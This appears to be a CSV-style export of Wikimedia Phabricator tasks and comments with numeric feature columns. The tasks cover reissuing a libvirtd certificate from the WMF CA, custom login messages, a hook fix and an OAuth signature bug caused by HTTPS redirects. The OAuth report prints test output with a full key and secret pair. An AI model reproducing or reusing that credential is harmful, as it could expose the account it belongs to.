https://gerrit.wikimedia.org/r/#/c/204279/ is an attempt to do this, but that cert is self-signed and we need one signed with the WMF CA.

In the meantime, libvirtd.log has sad, repeated notices:

error : virNetTLSContextCheckCertPair:495 : Our own certificate /etc/ssl/localcerts/labvirt-star.eqiad.wmnet.crt failed validation against /etc/ssl/certs/wmf-ca.pem: The certificate hasn't got a known issuer.",Needs Triage,90.0,1429212053,1429549045.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-d34xylqslr6rod4z44pk,task_description,resolved,True,c3,1,True,False,True,-11,True,0.0,0.0,0.0,0.0,1.0,2.5,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,2.0,0.0,1.0,6.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,7.0,0.0,1.0,6.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,2.0,6.5,9.5,0.0,0.0,0.0,2.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,4.196428571428571,0.7142857142857142,"On virt10xx, libvirtd uses a WMF CA-signed wildcard cert for virt*.eqiad.wmnet.

As part of the renaming from virt* to labvirt* we need a new cert for labvirt*.eqiad.wmnet.

URL is an attempt to do this, but that cert is self-signed and we need one signed with the WMF CA.

In the meantime, libvirtd.log has sad, repeated notices:

error : virNetTLSContextCheckCertPair:495 : Our own certificate /etc/ssl/localcerts/labvirt-star.eqiad.wmnet.crt failed validation against /etc/ssl/certs/wmf-ca.pem: The certificate hasn't got a known issuer."
446327,labvirt boxes need a new cert for libvirtd,"Certs successfully issued from privated CA and populated on servers, resolving",,,1429549045,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.666666666666667,1.0,"Certs successfully issued from privated CA and populated on servers, resolving"
445272,labvirt boxes need a new cert for libvirtd,"Change 204718 merged by Andrew Bogott:
Issue new certificate for virt-star

[[https://gerrit.wikimedia.org/r/204718]]",,,1429278209,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.857142857142857,0.9047619047619048,"Change 204718 merged by Andrew Bogott:
Issue new certificate for virt-star

[[GERRIT_URL]]"
445258,labvirt boxes need a new cert for libvirtd,"OK, change uploaded https://gerrit.wikimedia.org/r/#/c/204718/. I am unsure of the repercussions of this one. Probably needs to be coordinated so that it happens on all virt nodes in the same time followed by a restart of libvirtd. It should not have any repercussions on running VMs though 

/me happy the old ca goes away. only opendj is left now.",,,1429277258,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,3.0,0.0,0.0,3.0,2.0,9.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,16.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,9.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9375,0.859375,"OK, change uploaded URL I am unsure of the repercussions of this one. Probably needs to be coordinated so that it happens on all virt nodes in the same time followed by a restart of libvirtd. It should not have any repercussions on running VMs though 

/me happy the old ca goes away. only opendj is left now."
445169,labvirt boxes need a new cert for libvirtd,"OK, change submitted. I am unsure of the repercussions of this one. Probably needs to be coordinated so that it happens on all virt nodes in the same time followed by a restart of libvirtd. It should not have any repercussions on running VMs though 

/me happy the old ca goes away. only opendj is left now.",,,1429261418,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,3.0,0.0,0.0,3.0,2.0,8.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,16.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.921875,0.84375,"OK, change submitted. I am unsure of the repercussions of this one. Probably needs to be coordinated so that it happens on all virt nodes in the same time followed by a restart of libvirtd. It should not have any repercussions on running VMs though 

/me happy the old ca goes away. only opendj is left now."
445167,labvirt boxes need a new cert for libvirtd,"Change 204718 had a related patch set uploaded (by Alexandros Kosiaris):
Issue new certificate for virt-star

[[https://gerrit.wikimedia.org/r/204718]]
",,,1429261151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.9642857142857144,0.8928571428571429,"Change 204718 had a related patch set uploaded (by Alexandros Kosiaris):
Issue new certificate for virt-star

[[GERRIT_URL]]
"
444941,labvirt boxes need a new cert for libvirtd,"Oh, I should add -- the main project here is migration of instances from virt10xx to labvirt10xx.  So I need them to talk to each other.",,,1429220984,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,10.0,17.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.7,0.8666666666666667,"Oh, I should add -- the main project here is migration of instances from virt10xx to labvirt10xx.  So I need them to talk to each other."
444939,labvirt boxes need a new cert for libvirtd,"libvirtd.conf only allows me to specify one ca file.  So I either need keys on all boxes from the same CA, or some way to chain multiple CAs in a single file.

It shouldn't hurt to replace the cert on the existing virt10xx boxes.  Alex, do you mind generating me new virt-star certs that also use the new CA?

thanks!",,,1429220937,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,3.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,4.0,1.0,5.0,9.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,9.0,0.0,3.0,9.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,8.0,9.0,7.0,1.0,0.0,0.0,8.0,0.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,3.5135135135135136,0.7837837837837838,"libvirtd.conf only allows me to specify one ca file.  So I either need keys on all boxes from the same CA, or some way to chain multiple CAs in a single file.

It shouldn't hurt to replace the cert on the existing virt10xx boxes.  Alex, do you mind generating me new virt-star certs that also use the new CA?

thanks!"
444905,labvirt boxes need a new cert for libvirtd,"Change 204612 merged by Andrew Bogott:
Populate labvirtstar from wmf_ca_2014_2017

[[https://gerrit.wikimedia.org/r/204612]]",,,1429218266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.944444444444445,0.8888888888888888,"Change 204612 merged by Andrew Bogott:
Populate labvirtstar from wmf_ca_2014_2017

[[GERRIT_URL]]"
444863,labvirt boxes need a new cert for libvirtd,"Change 204612 had a related patch set uploaded (by Alexandros Kosiaris):
Populate labvirtstar from wmf_ca_2014_2017

[[https://gerrit.wikimedia.org/r/204612]]
",,,1429214291,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.76,0.88,"Change 204612 had a related patch set uploaded (by Alexandros Kosiaris):
Populate labvirtstar from wmf_ca_2014_2017

[[GERRIT_URL]]
"
444861,labvirt boxes need a new cert for libvirtd,"So, there are 2 WMF CAs right now. The ""old"" one and the ""new"" one. Those are populated on all systems via 

https://github.com/wikimedia/operations-puppet/blob/production/manifests/certs.pp#L69

and 

https://github.com/wikimedia/operations-puppet/blob/production/manifests/certs.pp#L75

respectively. 

We are phasing out the old one, so no more certs will be issued from it. The new one will be used instead",,,1429214209,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,2.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,14.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,6.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.125,0.625,"So, there are 2 WMF CAs right now. The ""old"" one and the ""new"" one. Those are populated on all systems via 

URL

and 

URL

respectively. 

We are phasing out the old one, so no more certs will be issued from it. The new one will be used instead"
96191,Login form should support custom messages based on returnto and returntoquery parameters,"Currently only custom error messages are possible. It should be possible to customise the message based on the thing you are trying to access
e.g.
http://localhost:8888/w/index.php?title=Special:UserLogin{F113543}
{F113540}
vs
http://localhost:8888/w/index.php?title=Special:UserLogin&returnto=Special:Watchlist
http://localhost:8888/w/index.php?title=Special:UserLogin&returnto=Headings&returntoquery=article_action=watch
{F113547}",Needs Triage,90.0,1429133372,1431531133.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-chjj4mztyqjztajikppu,task_description,declined,True,c3,1,True,True,True,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,9.0,12.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6744186046511627,0.6744186046511628,"Currently only custom error messages are possible. It should be possible to customise the message based on the thing you are trying to access
e.g.
URL
{F113540}
vs
URL
URL
{F113547}"
458219,Login form should support custom messages based on returnto and returntoquery parameters,I feel like given that you can currently pass a parameter `warning` to activate this that should be enough.,,,1431531133,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-chjj4mztyqjztajikppu,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2,0.95,I feel like given that you can currently pass a parameter CODE to activate this that should be enough.
96174,Re-evaluate location of LoginUserMigrated hook,"Currently it's possible for the hook to pass ""false"" in for $user, which caused T96145. That doesn't seem very useful.",Needs Triage,90.0,1429120468,1431721632.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-erz4gxx5j2we57s3nt7w,task_description,resolved,True,c3,1,True,True,True,-12,True,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,14.0,4.0,0.0,7.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5357142857142856,0.8928571428571429,"Currently it's possible for the hook to pass ""false"" in for $user, which caused T96145. That doesn't seem very useful."
459469,Re-evaluate location of LoginUserMigrated hook,"Change 211239 merged by jenkins-bot:
Always pass a valid User object to LoginUserMigrated hook

[[https://gerrit.wikimedia.org/r/211239]]",,,1431721386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erz4gxx5j2we57s3nt7w,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.083333333333333,0.9166666666666666,"Change 211239 merged by jenkins-bot:
Always pass a valid User object to LoginUserMigrated hook

[[GERRIT_URL]]"
459438,Re-evaluate location of LoginUserMigrated hook,"Change 211239 had a related patch set uploaded (by Legoktm):
Always pass a valid User object to LoginUserMigrated hook

[[https://gerrit.wikimedia.org/r/211239]]
",,,1431719084,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erz4gxx5j2we57s3nt7w,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,4.068965517241379,0.8620689655172413,"Change 211239 had a related patch set uploaded (by Legoktm):
Always pass a valid User object to LoginUserMigrated hook

[[GERRIT_URL]]
"
95998,Some OAuth libraries get authentication errors against non-SSL OAuth endpoints,"I believe the issue is that we [redirect](https://github.com/wikimedia/mediawiki-extensions-OAuth/blob/master/frontend/specialpages/SpecialMWOAuth.php#L93-L101) users requesting HTTP to HTTPS, but many frameworks will simply follow the redirect without realising that they need to update their signature.

How to reproduce:

1. Update the testClient.php script to use a consumer token / secret registered on mediawiki.org
2. Change the baseUrl in testClient.php to 'http://www.mediawiki.org/w/index.php?title=Special:OAuth'
3. Run the testClient, and observe that you get the following response:
```
    If all worked well, you should have a JSON object with two keys: key, secret.

    You got:
string(35) ""{""error"":""mwoauth-oauth-exception""}""
```
4. Change the baseUrl to use HTTPS, and run again. Output becomes:
```
    You got:
string(94) ""{""key"":""8491f49a7943741349105701c6a813ac"",""secret"":""77b0d138fdd3c1b6e046639a99ee99ede2e46f10""}""
```

Extract from logs on Fluorine:
```
2015-04-14 07:53:01 mw1171 mediawikiwiki: MediaWiki\Extensions\OAuth\OAuthSignatureMethod_HMAC_SHA1::build_signature: Base string: 'GET&https%3A%2F%2Fwww.mediawiki.org%2Fw%2Findex.php&format%3Djson%26oauth_consumer_key%3D<snip>%26oauth_nonce%3D<snip>%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1428997980%26oauth_token%3D<snip>%26oauth_verifier%3D<snip>%26oauth_version%3D1.0%26title%3DSpecial%253AOAuth%252Ftoken'

2015-04-14 07:53:47 mw1176 mediawikiwiki: MediaWiki\Extensions\OAuth\OAuthSignatureMethod_HMAC_SHA1::build_signature: Base string: 'GET&https%3A%2F%2Fwww.mediawiki.org%2Fw%2Findex.php&format%3Djson%26oauth_consumer_key%3D<snip>%26oauth_nonce%3D<snip>%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1428998025%26oauth_token%3D<snip>%26oauth_verifier%3D<snip>%26oauth_version%3D1.0%26title%3DSpecial%253AOAuth%252Ftoken'
```

Note that in both cases, the ""base URL"" begins with `https`.",Needs Triage,90.0,1428998720,1488862514.0,PHID-USER-cgfiqjzsqzd7ulp7eyr7,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-f5fbbwpdcrb742fbwerb,task_description,resolved,True,c3,1,False,False,False,-12,True,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,2.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,5.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,10.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,6.0,13.0,5.0,0.0,1.0,0.0,6.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,2.0,4.568181818181818,0.7386363636363636,"I believe the issue is that we [redirect](URL users requesting HTTP to HTTPS, but many frameworks will simply follow the redirect without realising that they need to update their signature.

How to reproduce:

1. Update the testClient.php script to use a consumer token / secret registered on mediawiki.org
2. Change the baseUrl in testClient.php to 'URL
3. Run the testClient, and observe that you get the following response:
``CODE`CODE`CODE`CODE`CODE`CODEhttps`."
820600,Some OAuth libraries get authentication errors against non-SSL OAuth endpoints,We don't have non-HTTPS endpoints anymore so closing. Probably just a case of Varnish HTTP -> HTTPS redirects breaking stuff.,,,1488862514,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-f5fbbwpdcrb742fbwerb,task_subcomment,,True,c3,3,True,,,87,True,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.076923076923077,0.8846153846153846,We don't have non-HTTPS endpoints anymore so closing. Probably just a case of Varnish HTTP -> HTTPS redirects breaking stuff.
95903,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"http://localhost:8888/w/index.php?title=Special:UserLogin&type=signup&returnto=Special%3AWatchlist

shows message:
""A watchlist helps you bookmark pages and keep track of changes to them.
Sign up to start one now.""

It should be possible without updating MobileFrontend to customise this message.
",Needs Triage,90.0,1428939696,1429135386.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_description,resolved,True,c3,1,True,False,True,-12,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,7.0,14.0,5.0,0.0,5.0,0.0,7.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.9545454545454546,0.7954545454545454,"URL

shows message:
""A watchlist helps you bookmark pages and keep track of changes to them.
Sign up to start one now.""

It should be possible without updating MobileFrontend to customise this message.
"
444246,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Change 203894 merged by jenkins-bot:
Login messages: Add support for MobileFrontend loginpage

[[https://gerrit.wikimedia.org/r/203894]]",,,1429132623,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.304347826086956,0.8695652173913043,"Change 203894 merged by jenkins-bot:
Login messages: Add support for MobileFrontend loginpage

[[GERRIT_URL]]"
444236,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Change 203893 merged by jenkins-bot:
Add support for extensions to add custom login messages for mobile login page

